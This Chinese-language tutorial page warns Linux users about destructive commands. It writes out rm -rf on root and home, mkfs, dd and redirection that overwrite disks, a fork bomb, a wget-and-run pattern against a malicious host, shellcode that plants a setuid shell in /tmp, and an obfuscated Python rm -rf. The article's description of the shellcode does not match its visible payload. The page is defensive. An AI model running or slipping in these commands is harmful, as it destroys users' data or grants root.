- 源码教程
- 来源：源码码网
- 编辑：admin
- 时间：2020-05-23 09:53
- 阅读：993
文中列出的命令绝对不可以运行，即使你觉得很好奇也不行，除非你是在虚拟机上运行（出现问题你可以还原），因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。
早晚有一天，Linux 系统会像 Windows 那样流行，用的人越来越多，包括对计算机不是很了解的人，本文的目的就是告诉大家：在Linux给你最大程度自由度的同时，也使得破坏系统变得更加容易，如果你不了解某些命令的意义，下载执行包含恶意命令的脚本，或者被骗运行某些命令，很容易让你哭都来不及。这并不是说明 Linux 不安全，只是说明在不了解 Linux ，和很不小心的人面前，Linux 十分不安全。Windows 也好，Linux 也好，人本身才是最大的不安全因素。
下面的命令会删除你硬盘上的文件，rm 的 -r 递归删除，和 -f 强制删除是很危险的选项，即使日常操作，也会遇到误删文件的情况。
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和home目录，即使你不是root，home目录还是不能幸免。
同样，如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话，运行下面的命令会擦除你的硬盘分区：
sudo mkfs.xxxx
dd 是强大的 IO 输入输出定向工具，如果使用不当，破坏性很大，不仅仅是当前分区，当前系统，有的时候是整个硬盘。
sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。
同理，直接把命令结果定向到硬盘上，相当于往硬盘上写垃圾数据：
any_command > /dev/sda 用随意的数据破坏硬盘
上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能，同时也使得破坏变得更容易。
fork 命令打开一个子进程，如果把 fork 放在无限循环中，最终子进程会耗尽所有内存资源：
:(){:|:&};:
这段不知所云的符号，可以让 Shell 不停的 fork 子进程，最后导致内存耗尽，不得不重启，这不是 bug，只是 Shell 语句故意写成简写的形式而已。下面的同理：
fork while fork
有的压缩包要求你解压到某个系统中已经存在的目录中，这时候你就要特别小心了，压缩包里面可能有成千上万的小文件，以各种文件名尝试覆盖你现有的文件。有的压缩包看起来很小，但是解压出来是上 GB 的垃圾数据，会充斥你的硬盘。从不正规网站下载的程序、脚本，同样会有包含恶意命令的危险，不可随便执行：
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script
加载脚本要确保来源正规，如果有能力，可以阅读其代码。即使有源代码的程序，也不要随便编译执行：
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
上面看起来只是一堆没有意义的 16 进制数据，如果有人告诉你，运行这个程序你就可以不输入密码取得系统的 root 权限，你可不要相信他，上面的程序实际运行的是“rm -rf ~ / & ”。
python 一类的脚本语言，同样可以拿来搞破坏：
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
这段程序实际上会执行 rm -rf *，也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思，实际上就是 rm -rf * 每个字母的下一个！第一不要用 root 作为日常使用的用户，上面的程序，如果当前用户不是 root，危害的波及范围就会小很多。第二要知道哪些命令是干什么用的，不知道的命令不要冒然运行。运行有潜在破坏能力的程序，要小心检查自己的输入。
文章来源于网络，版权归原作者所有，如有侵权请及时联系我们进行删除！
特别声明：
1、如无特殊说明，内容均为本站原创发布，转载请注明出处；
2、部分转载文章已注明出处，转载目的为学习和交流，如有侵犯，请联系客服删除；
3、编辑非《源码码网》的文章均由用户编辑发布，不代表本站立场，如涉及侵犯，请联系删除；
全部评论(0)
推荐阅读
![bootstrap ui框架能用在uniapp中吗？]()
- bootstrap ui框架能用在uniapp中吗？
- BootstrapUI框架通常是前端开发中的一种工具，它提供了一套预定义的CSS样式和组件，用于快速构建响应式布局的网页。然而，UniApp是一个使用Vue.js开发跨平台应用的框架，它可以用来开发iOS、Android、以及各种小程序和H5应用。
- 互动社区
- 来源：源码码网
- 编辑：热度建站
- 时间：2024-04-12 00:04
- 阅读：169
![css实现banner图由中心点动态放大效果]()
- css实现banner图由中心点动态放大效果
- 在日常的网页设计中，为了让网页增加一定的特效以达到交互的目的，我们尝尝会在网页中使用一些动画效果。今天来说说实现banner图由中心点动态放大效果，实现这个效果需要用到css中的动画：animation和关键帧：@keyframes，具体示例如下：
- 源码教程
- 来源：源码码网
- 编辑：源码码网
- 时间：2024-04-11 18:52
- 阅读：185
![countUp.js实现鼠标滑动到某个位置数字自动滚动增加的效果]()
- countUp.js实现鼠标滑动到某个位置数字自动滚动增加的效果
- 在网页开发中为了提升网页的交互效果，经常会用到使用js给网页增加一定的特效，下边就来说说使用js实现鼠标滑动到某个位置数字自动滚动增加的效果。其实这种效果有很多中解决办法，自己也可以去写，下边我们借助countUp.js来实现，关于这个js文件，我放在末尾：
- 源码教程
- 来源：源码码网
- 编辑：源码码网
- 时间：2024-04-08 09:20
- 阅读：257
![响应式网页设计思路及注意事项]()
- 响应式网页设计思路及注意事项
- 一、什么是响应式网页响应式网页设计就是让网页具有根据设备类型应用CSS样式的能力。设计：设想、计划。设计就是把想法实现。网页设计：按照一定的设计思路布局网页内容。传统网页设计：都是针对PC端浏览器而设计的，不具备查询设备的能力，更不能对多种访问设备做出响应。传统网页设计的弊端：在移动互联网时代，传统的网页设计不适合多屏幕时代。响应式网页设计应运而生。响应式网页设计是一种设计网页的思想/方法。响应：指让我们的网页能够自动查询用户的访问设备
- 源码教程
- 来源：源码码网
- 编辑：源码码网
- 时间：2024-04-02 11:24
- 阅读：167
![css中rel的属性值都有哪些，分别代表什么意思]()
- css中rel的属性值都有哪些，分别代表什么意思
- 在HTML中，元素的rel属性用于定义当前文档与被链接文档之间的关系。这个属性在CSS的上下文中经常与样式表关联，但rel属性的用途远不止于此。以下是一些常见的rel属性值及其意义：1、stylesheet：表示被链接的文档是一个样式表。这通常用于链接CSS文件。
- 源码教程
- 来源：源码码网
- 编辑：源码码网
- 时间：2024-03-28 12:28
- 阅读：298
应客B2C电商系统商城源码支持PC+小程序+公众号+H5可打包Ap...
原生开发淘宝客App，Android+ios独立开发，全开源支持二...
应客知识付费系统在线教育平台源码+题库系统源码，PC+公众号商业授...
单商户电商系统源码部署小程序+公众号+H5+App源码...
应客教育知识付费系统源码带题库功能商业授权公众号+H5源码...
陕公网安备61019602000396 方烜律师事务所提供法律服务 | Copyright 2025 源码码网 版权所有
